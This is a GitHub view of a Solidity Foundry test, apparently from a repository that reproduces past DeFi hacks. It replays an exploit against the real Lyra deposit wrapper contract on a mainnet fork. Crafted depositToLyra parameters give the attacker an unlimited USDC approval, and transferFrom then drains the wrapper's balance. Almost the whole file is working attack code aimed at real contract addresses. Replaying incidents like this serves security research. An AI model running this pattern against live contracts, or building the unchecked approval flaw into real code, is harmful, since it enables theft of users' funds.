-
Notifications
You must be signed in to change notification settings - Fork 236
Expand file tree
/
Copy pathLyraDepositWrapper.attack.sol
More file actions
71 lines (58 loc) · 2.98 KB
/
Copy pathLyraDepositWrapper.attack.sol
File metadata and controls
71 lines (58 loc) · 2.98 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import {TestHarness} from "../../TestHarness.sol";
import {TokenBalanceTracker} from "../../modules/TokenBalanceTracker.sol";
import {IERC20} from "../../interfaces/IERC20.sol";
import {IWETH9} from "../../interfaces/IWETH9.sol";
interface ILyraDepositWrapper {
function depositToLyra(
address token,
address socketVault,
bool isSCW,
uint256 amount,
uint256 gasLimit,
address connector
) external payable;
}
contract Exploit_LyraDepositWrapper is TestHarness, TokenBalanceTracker {
address private constant ATTACKER = 0x62005500Af4CFB0077AC0090002F630055Ba001D;
ILyraDepositWrapper private constant LYRA_DEPOSIT_WRAPPER =
ILyraDepositWrapper(0x18a0f3F937DD0FA150d152375aE5A4E941d1527b);
IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IWETH9 private constant WETH = IWETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
function setUp() public {
// Fork the chain one block before the exploit occurred
cheat.createSelectFork(vm.envString("RPC_URL"), 23_377_072);
deal(address(this), 0);
// Set up token balance tracking for logging.
addTokenToTracker(address(USDC));
}
function test_attack() public {
console.log("------- INITIAL BALANCES -------");
logBalancesWithLabel("Attacker", ATTACKER);
logBalancesWithLabel("LyraDepositWrapper", address(LYRA_DEPOSIT_WRAPPER));
uint256 initialWrapperBalance = USDC.balanceOf(address(LYRA_DEPOSIT_WRAPPER));
console.log("\n------- STEP 1: Call depositToLyra with malicious parameters to gain approval -------");
vm.startPrank(ATTACKER);
LYRA_DEPOSIT_WRAPPER.depositToLyra{value: 0}(
address(USDC),
ATTACKER, // socketVault: The address to grant approval
false, // isSCW
0, // allow amount zero
1, // gasLimit
address(WETH) // connector
);
uint256 allowance = USDC.allowance(address(LYRA_DEPOSIT_WRAPPER), ATTACKER);
assertEq(allowance, type(uint256).max, "Attacker should have max allowance");
console.log("\n------- STEP 2: Use the approval to drain the contract's USDC balance -------");
// With the allowance granted, the attacker can now call `transferFrom` on the USDC
uint256 balanceToDrain = USDC.balanceOf(address(LYRA_DEPOSIT_WRAPPER));
USDC.transferFrom(address(LYRA_DEPOSIT_WRAPPER), ATTACKER, balanceToDrain);
console.log("\n------- FINAL STATE -------");
logBalancesWithLabel("Attacker final balance", ATTACKER);
logBalancesWithLabel("LyraDepositWrapper final balance", address(LYRA_DEPOSIT_WRAPPER));
assertEq(USDC.balanceOf(address(LYRA_DEPOSIT_WRAPPER)), 0, "Wrapper contract should be empty");
assertGe(USDC.balanceOf(ATTACKER), initialWrapperBalance, "Attacker should have drained the funds");
}
}